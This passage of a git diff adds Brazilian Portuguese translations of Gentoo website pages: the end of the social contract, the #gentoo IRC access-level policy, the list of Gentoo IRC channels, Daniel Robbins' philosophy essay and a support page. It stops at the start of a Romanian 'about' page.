+<title>Nós iremos colaborar com a comunidade de Software Livre</title>
+<body>
+
+<p>
+Nós iremos estabelecer relações com autores de Software Livre e colaborar com
+eles quando possível. Iremos enviar consertos de bugs, melhorias, pedidos de
+usuários, etc. para os desenvolvedores "upstream" do software incluído em nosso
+sistema. Nós também iremos documentar claramente <e>nossas</e> contribuições
+para o Gentoo bem como quaisquer melhorias ou mudanças que nós fizermos a fontes
+externas usadas pelo Gentoo (tanto na forma de patches, "truques de sed" ou
+outra forma). Nós reconhecemos que nossas melhorias e mudanças significam muito
+mais para a comunidade de Software Livre maior se forem claramente documentadas
+e explicadas, já que nem todos têm tempo ou habilidade de entender as mudanças
+literais contidas nos próprios patches ou truques.
+</p>
+
+</body>
+</section>
+<section>
+<title>Não iremos esconder problemas</title>
+<body>
+
+<p>
+Nós manteremos nosso <uri link="http://bugs.gentoo.org/">banco de dados de
+relatos de bugs</uri> aberto ao público a qualquer hora; relatórios que usuários
+arquivarem online estarão imediatamente visíveis a outros.
+</p>
+
+<p>
+Exceções são feitas quando recebermos informações relacionadas a segurança ou
+relações de desenvolvedores com o pedido de não publicar até certa data.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pt_br/irc-gentoo-policy.xml b/xml/htdocs/main/pt_br/irc-gentoo-policy.xml
new file mode 100644
index 00000000..7e93ce7c
--- /dev/null
+++ b/xml/htdocs/main/pt_br/irc-gentoo-policy.xml
@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pt_br/irc-gentoo-policy.xml,v 1.1 2006/01/27 18:58:25 vanquirius Exp $ -->
+
+<guide link="/main/pt_br/irc-gentoo-policy.xml" lang="pt_br">
+<title>Guia de estrutura do #gentoo</title>
+<author title="Autor">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+<author title="Autor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Este guia descreve a estrutura do canal de IRC #gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-08-05</date>
+
+<chapter>
+
+<title>Introdução</title>
+<section>
+<title>Resumo</title>
+<body>
+
+<p>
+Este documento descreve a estrutura do #gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Raciocínio</title>
+<body>
+
+<p>
+Atualmente, o #gentoo é um canal muito grande em número de usuários, com cerca
+de 1000 usuários. Também é entrada de pessoas experimentando o Gentoo pela
+primeira vez. Por causa disso, precisa de uma forma estruturada para gerenciar
+as coisas.
+</p>
+
+</body>
+</section>
+<section>
+<title>Estrutura do #gentoo</title>
+<body>
+
+<p>
+A estrutura do #gentoo será como a seguir:
+</p>
+
+<ol>
+  <li>Usuários de Tor: Nível 10 - Atualmente por causa da falta de habilidade de
+  gerir as ações de usuários de tor, o domínio inteiro está silenciado. Este
+  acesso é para autovoice, que os permite falar.</li>
+  <li>Nível 20 para desenvolvedores. Desenvolvedores poderão se dar <c>OP</c>,
+  mas não podem lidar com gerenciamento geral do canal como <c>AKICK</c> e
+  adicionar outros usuários.</li>
+  <li>Nível 30 para staff - Este é para staff, ou pessoas que ajudam a gerenciar
+  as tarefas do #gentoo. Eles têm acesso à função <c>AKICK</c>.</li>
+  <li>Nível 40 para admins - Este é o nível de gerência mais alto. Tais pessoas
+  poderão fazer coisas como mudar a lista de acesso para ajustar permissões.</li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Guias</title>
+<section>
+<title>Capacidades</title>
+<body>
+
+<p>
+Aqui está uma lista de capacidade dos usuários com base em seu nível:
+</p>
+
+<table>
+  <tr><th>10</th><ti>AUTOVOICE</ti><ti>Voice automático</ti></tr>
+  <tr><th>20</th><ti>TOPIC</ti><ti>Mudar tópico do canal</ti></tr>
+  <tr><th>20</th><ti>CMDINVITE</ti><ti>Usar comando INVITE</ti></tr>
+  <tr><th>20</th><ti>AUTOOP</ti><ti>OP automático</ti></tr>
+  <tr><th>20</th><ti>CMDUNBAN</ti><ti>Usar comando UNBAN</ti></tr>
+  <tr><th>30</th><ti>CMDVOICE</ti><ti>Usar comando VOICE</ti></tr>
+  <tr><th>30</th><ti>CMDOP</ti><ti>Usar comando OP</ti></tr>
+  <tr><th>30</th><ti>AUTOKICK</ti><ti>Permitir modificação de AKICK</ti></tr>
+  <tr><th>40</th><ti>CMDCLEAR</ti><ti>Usar comando CLEAR</ti></tr>
+  <tr><th>40</th><ti>SET</ti><ti>Modificar SETS do canal</ti></tr>
+  <tr><th>40</th><ti>ACCESS</ti><ti>Permitir modificar ACCESS</ti></tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Regras</title>
+<body>
+
+<ul>
+  <li>Só desenvolvedores do Gentoo podem ser admins de nível 40.</li>
+  <li>Só staffs podem lidar com aplicações de usuário .tor. Isto é porque eles
+  entendem melhor como o #gentoo opera, e quem pode causar problemas.</li>
+  <li>Desenvolvedores podem obter status no canal pedindo para um admin.</li>
+  <li>Usuários inativos sem bom motivo terão seu acesso rebaixado ou removido
+  dependendo da situação. Inativo é definido como 2 semanas.</li>
+  <li>Atualmente, bans estão configurados em 2 semanas, sendo removidos
+  automaticamente. Se um usuário é banido 3 vezes, são automaticamente colocados
+  na lista AKICK. Usuários de AKICK <e>devem</e> ter uma entrada no
+  <uri link="http://www.gentooexperimental.org/~chriswhite">Gentoo Solutions</uri>
+  ou a entrada em questão será removida.</li>
+  <li>Reclamações de ban devem ser mandadas para: <mail>ops@gentoo.org</mail></li>
+  <li>Discussão pública deve ser mandada para a mailing list pública gentoo-ops
+  ou para #gentoo-ops.</li>
+  <li>AKICK é um ban sério. Só um voto unânime de todos admins ativos e staff
+  (fora o membro de staff em questão) podem remove-lo!</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Contato administrativo</title>
+<body>
+
+<p>
+As seguintes pessoas atualmente têm privilégios administrativos:
+</p>
+
+<ul>
+  <li>Astinus</li>
+  <li>ChrisWhite</li>
+  <li>avenj</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/pt_br/irc.xml b/xml/htdocs/main/pt_br/irc.xml
new file mode 100644
index 00000000..65ba9778
--- /dev/null
+++ b/xml/htdocs/main/pt_br/irc.xml
@@ -0,0 +1,333 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pt_br/irc.xml,v 1.2 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="pt_br">
+<title>Recursos de IRC do Gentoo Linux</title>
+<author title="Editor">
+  Colin Morey
+</author>
+<author title="Editor">
+  <mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+</author>
+<author title="Editor">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Canais de IRC oficiais do Gentoo
+</abstract>
+
+<version>1.2</version>
+<date>2006-01-17</date>
+
+<chapter>
+<title>Recursos de IRC do Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+<b>Chat de IRC no <uri link="http://www.freenode.org/">Freenode</uri>:</b>.
+</p>
+
+<p>
+Os desenvolvedores do Gentoo e ajudantes rodam os seguintes canais para
+benefício mútuo, de maneira puramente voluntária, e aberta para todos. Sinta-se
+livre para entrar e dizer Olá! Por favor mantenha a linguagem limpa no #gentoo e
+#gentoo-dev. Leia a política (se aplicável) e o tópico. Donos de outros canais
+do Gentoo têm direito de ter suas próprias políticas e por favor esteja ciente
+dos procedimentos de banimento do <uri
+link="irc-gentoo-policy.xml">#gentoo</uri>. Adicionalmente, por favor não traga
+bots a canais do Gentoo sem antes consultar os operadores dos canais. Isto
+inclui scripts de bot como "seen". Não rode <c>ctcp
+version</c> ou coisas do tipo contra o canal ou usuários sem seu conhecimento
+prévio.
+</p>
+
+<table>
+<tr>
+  <th>Canais gerais &amp; de desenvolvimento</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo">#gentoo</uri></ti>
+  <th>Discussão geral</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>Conserto de bugs e QA para eventos do BugDay</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>Só discussão de desenvolvimento</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>Oficina de trabalho de escritores de ebuild</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Desenvolvimento da documentação do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-security">#gentoo-security</uri></ti>
+  <th>Discussões sobre a segurança do Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>Gentoo Linux/Clustering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>Gentoo Linux Embedded</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-games">#gentoo-games</uri></ti>
+  <th>Discussão/suporte de jogos nativos de Linux (Nada de Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>Pacotes de Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>Gentoo Linux Hardened</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-java">#gentoo-java</uri></ti>
+  <th>Chat relacionado a Java</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Chat relacionado a laptops</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>Pacotes relacionados a correio eletrônico</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Pacotes de monitoramento de rede</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>Desenvolvimento do Portage do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-science">#gentoo-science</uri></ti>
+  <th>Projeto científico do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-server">#gentoo-server</uri></ti>
+  <th>Chat relacionado a servidores</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-web">#gentoo-web</uri></ti>
+  <th>Tudo relacionado a web- e aplicações web (do Gentoo, claro)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Discussão de Voice over IP</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ot">#gentoo-ot</uri></ti>
+  <th>Discussão fora de tópico</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Canais de suporte específicos a plataforma</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-arm">#gentoo-arm</uri></ti>
+  <th>Gentoo Linux/ARM</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hurd">#gentoo-hurd</uri></ti>
+  <th>Gentoo Hurd</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-osx">#gentoo-osx</uri></ti>
+  <th>Gentoo Linux/OSX</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc">#gentoo-ppc</uri></ti>
+  <th>Gentoo Linux/PPC</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+</table>
+
+<table>
+<tr>
+ <th>Canais de projetos &amp; subprojetos</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-apache">#gentoo-apache</uri></ti>
+ <th>Chat relacionado ao Apache no Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri></ti>
+ <th>Chat relacionado ao Bugday (primeiro sábado de cada mês)</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-events">#gentoo-events</uri></ti>
+ <th>Chat de planejamento e tempo real durante eventos públicos do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-eselect">#gentoo-eselect</uri></ti>
+  <th>Framework modular do Gentoo para utilitários administrativos e de configuração</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-installer">#gentoo-installer</uri></ti>
+ <th>Chat do instalador do Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-kernel">#gentoo-kernel</uri></ti>
+ <th>Discussão do desenvolvimento do Kernel do Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+ <th>Chat sobre servidores e administração do Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-releng">#gentoo-releng</uri></ti>
+ <th>Engenharia de lançamentos do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-gwn">#gentoo-gwn</uri></ti>
+  <th>Jornal semanal do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Chat relacionado aos Fóruns do Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>Informações em tempo real de commits em CVS/SVN do Gentoo</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Canais de suporte de língua específica</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoobr">#gentoobr</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>на Русском</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pt_br/philosophy.xml b/xml/htdocs/main/pt_br/philosophy.xml
new file mode 100644
index 00000000..fd219844
--- /dev/null
+++ b/xml/htdocs/main/pt_br/philosophy.xml
@@ -0,0 +1,149 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/pt_br/philosophy.xml,v 1.2 2007/03/16 10:40:45 neysx Exp $-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="pt_br">
+<title>A filosofia do Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Este documento explica a filosofia por trás do Gentoo.
+</abstract>
+
+<version>1.1</version>
+<date>2003-10-27</date>
+
+<chapter>
+<title>Contrato Social do Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+Nosso <b><uri link="/main/pt_br/contract.xml">contrato social</uri></b> é feito
+com a intenção de descrever claramente as políticas gerais de desenvolvimento e
+padrões do time de desenvolvimento do Gentoo Linux.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>A filosofia do Gentoo</title>
+<section>
+<body>
+
+<p>
+Eu criei o Gentoo porque não consegui encontrar uma distribuição de Linux que
+gostasse. A coisa predominante que experimentei com as distribuições de Linux
+foram as "ferramentas de distribuição" que gerenciavam o sistema inteiro -- as
+ferramentas que deveriam tornar tudo <e>mais fácil</e> de usar -- na verdade
+pareciam precisar de muita atenção e entravam no caminho do que eu realmente
+queria fazer. Eu queria dizer a <e>elas</e> o que eu queria fazer, mas pareciam
+estar mais interessadas em dizer a <e>mim</e> o que <e>elas</e> queriam que eu
+fizesse.
+</p>
+
+<p>
+Então, eu criei o Gentoo Linux, e desenhei o Portage para ser uma ferramenta
+mais perfeita que o que existia antes dela. Para tanto, tornei-a muito flexível
+para permitir fazer o que eu quiser, e também tentei torná-la flexível para
+permitir que outros fizessem o que eu pensei que gostariam de fazer.
+</p>
+
+<p>
+Se outros quisessem ver como um pacote foi construído, eles poderiam olhar no
+arquivo ebuild relativamente fácil de entender e aprender a partir dele. Se
+quisessem ajustar como é construído, poderiam usar as variáveis de USE. Se
+quisessem adicionar uma pacote, criavam uma nova ebuild para a árvore. Se
+quisessem usar um pacote, poderiam simplesmente fazer emerge dele e as
+dependências eram automaticamente instaladas.
+</p>
+
+<p>
+As pessoas gostaram do conceito do Portage, e o Gentoo Linux cresceu
+rapidamente. Nós nos tornamos conhecidos como a distribuição "da fonte", mas no
+coração o conceito do Gentoo não é "da fonte". "Da fonte" é um aspecto chave
+importante do Gentoo, e algo que era e continuará sendo necessário ao Gentoo,
+mas não é a única questão ou a mais importante. <e>A questão mais fundamental é
+desenhar uma tecnologia que nos permite e permite outros fazer o que querem
+fazer, sem restrições.</e>
+</p>
+
+<p>
+Para resumir o coração do Gentoo, imagine um usuário sentado em frente de um
+sistema Linux. O que ele quer fazer? A filosofia do Gentoo é permitir que o
+usuário possa fazer o que quer, sem nada entrar no caminho.
+</p>
+
+<p>
+Em torno da época em que o Gentoo nasceu, a coisa que entrava no caminho era a
+falta de um jeito fácil de construir pacotes da fonte, de acordo com
+especificações do usuário. Atualmente, nós fazemos isto muito bem, mas o que não
+fizemos bem foi suportar pacotes pré-construídos, mesmo que o Portage tenha
+suportado criar pacotes binários quase desde seu nascimento. Então, estamos
+fazendo isto agora.
+</p>
+
+<p>
+É importante que nossas ferramentas suportem pacotes binários, já que pacotes
+binários são amplamente usados e demandados pela comunidade de Linux. Se nossas
+ferramentas não suportarem pacotes binários, nós não podemos dizer que nossas
+ferramentas são desenhadas para permitir que o usuário faça o que quiser. Se nós
+escolhermos propositadamente excluir suporte a binários, nós estamos tentando
+interferir com como usuários podem escolher lidar com problemas particulares. E
+se nós não construímos pacotes binários, então não estamos tomando quaisquer
+passos para garantir que nossas ferramentas realmente funcionem bem com pacotes,
+então nós não estamos tomando quaisquer passos para garantir que nossas
+ferramentas realmente funcionem bem com pacotes binários, tampouco podemos
+*demonstrar* que nossas ferramentas funcionam bem com pacotes binários. Além
+destas razões filosóficas, existem muitas outras razões práticas para criar
+pacotes binários.
+</p>
+
+<p>
+A filosofia do Gentoo, em um parágrafo, é esta. Cada usuário tem trabalho que
+precisa fazer. A meta do Gentoo é desenhar ferramentas e sistemas que permitam
+ao usuário fazer seu trabalho tão agradavelmente e eficientemente quanto
+possível, já que <e>ele</e> achar bom. Nossas ferramentas devem ser prazerosas
+de usar, e ajudar o usuário apreciar a riqueza do Linux e da comunidade de
+software livre, e a flexibilidade do software livre. Isto só é possível quando
+a ferramenta é desenhada para refletir e transmitir o desejo do usuário, e
+deixar as possibilidades abertas para a forma final da matéria-prima (o
+código-fonte). Se a ferramenta força o usuário a fazer as coisas de um jeito em
+particular, então a ferramenta está trabalhando contra, ao invés de a favor, o
+usuário. Nós todos experimentamos situações onde as ferramentas parecem estar
+impondo seus respectivos desejos em nós. Isto é o avesso, e contrário à
+filosofia do Gentoo.
+</p>
+
+<p>
+Pondo de outra maneira, a filosofia do Gentoo é criar ferramentas melhores.
+Quando uma ferramenta está fazendo seu trabalho perfeitamente, você pode nem
+estar ciente de sua presença, porque não interfere ou torna sua presença
+conhecida, ou força você a interagir com ela quando você não quer. A ferramenta
+serve o usuário ao invés de o usuário servir a ferramenta.
+</p>
+
+<p>
+A meta futura do Gentoo é continuar o esforço para criar ferramentas
+quase-ideais. Ferramentas que podem acomodar as necessidades de muitos usuários
+diferentes (todos com metas divergentes) com facilidade são extremamente
+poderosas. Você não adora quando encontra uma ferramenta que faz exatamente o
+que você quer? Não é ótimo? Nossa missão é dar essa sensação para o maior
+número de pessoas quanto possível.
+</p>
+
+<p>
+Daniel Robbins<br/>
+Ex-Arquiteto-Chefe
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/pt_br/support.xml b/xml/htdocs/main/pt_br/support.xml
new file mode 100644
index 00000000..3e1f86c4
--- /dev/null
+++ b/xml/htdocs/main/pt_br/support.xml
@@ -0,0 +1,120 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage lang="pt_br">
+<title>Suporte do Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Como obter suporte para o Gentoo Linux
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.3</version>
+<date>2005-01-19</date>
+
+<chapter>
+<title>Procurando suporte?</title>
+<section>
+<title>Conteúdo</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">Introdução</uri></li>
+  <li><uri link="#requirements">Requisitos de hardware</uri></li>
+  <li><uri link="#downloading">Baixando o Gentoo Linux</uri></li>
+  <li><uri link="#reporting">Relatando bugs</uri></li>
+</ul>
+
+
+</body>
+</section>
+<section id="intro">
+<title>Introdução</title>
+<body>
+
+<p>
+O Gentoo Linux é uma distribuição desenvolvida por voluntários. Não é possível
+para nós providenciar suporte imediato (pago ou não) porque simplesmente não
+temos os recursos para tanto.
+</p>
+
+<p>
+Nós temos, todavia, uma grande comunidade do Gentoo que testa, ajuda e documenta
+muitos aspectos da distribuição do Gentoo. Nós recomendamos que você dirija suas
+perguntas de suporte para os <uri link="http://forums.gentoo.org">Fóruns do
+Gentoo</uri>, <uri link="/main/en/lists.xml">Listas de Gentoo Mailinglists</uri>
+ou <uri link="/main/pt_br/irc.xml">Canais de Chat do Gentoo</uri>. Estes estão
+mais capacitados para perguntas de suporte, já que representam grande parte do
+conhecimento "geral" sobre o Gentoo Linux.
+</p>
+
+<p>
+A maior parte dos desenvolvedores do Gentoo visita freqüentemente estes canais
+comunitários e fazem seu melhor para contribuir com discussões e perguntas.
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>Requisitos de hardware</title>
+<body>
+
+<p>
+Os requisitos de hardware para cada arquitetura estão em nosso <uri
+link="/doc/pt_br/handbook/index.xml">Manual do Gentoo</uri>.
+</p>
+
+<p>
+Links diretos para os requisitos de hardware:
+<uri link="/doc/pt_br/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/pt_br/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/pt_br/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>, 
+<uri link="/doc/pt_br/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>, 
+<uri link="/doc/pt_br/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>, 
+<uri link="/doc/pt_br/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>, 
+<uri link="/doc/pt_br/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>, 
+<uri
+link="/doc/pt_br/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>Baixando o Gentoo Linux</title>
+<body>
+
+<p>
+Você pode baixar o Gentoo Linux de qualquer um de nossos <uri
+link="/main/en/mirrors.xml">servidores</uri>. Os arquivos ISO estão localizados
+dentro do diretório <path>releases/</path>. 
+</p>
+
+<p>
+Mais informações sobre as ISOs disponíveis e arquivos podem ser encontrados em
+nosso <uri
+link="/doc/pt_br/handbook/index.xml">Manual do Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>Relatando bugs</title>
+<body>
+
+<p>
+Encontrou um bug? Por favor, <uri link="http://bugs.gentoo.org">relate</uri>-o.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ro/about.xml b/xml/htdocs/main/ro/about.xml
new file mode 100644
index 00000000..5b7fc029
--- /dev/null
+++ b/xml/htdocs/main/ro/about.xml
@@ -0,0 +1,103 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ro/about.xml,v 1.11 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="ro">
+<title>Despre Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
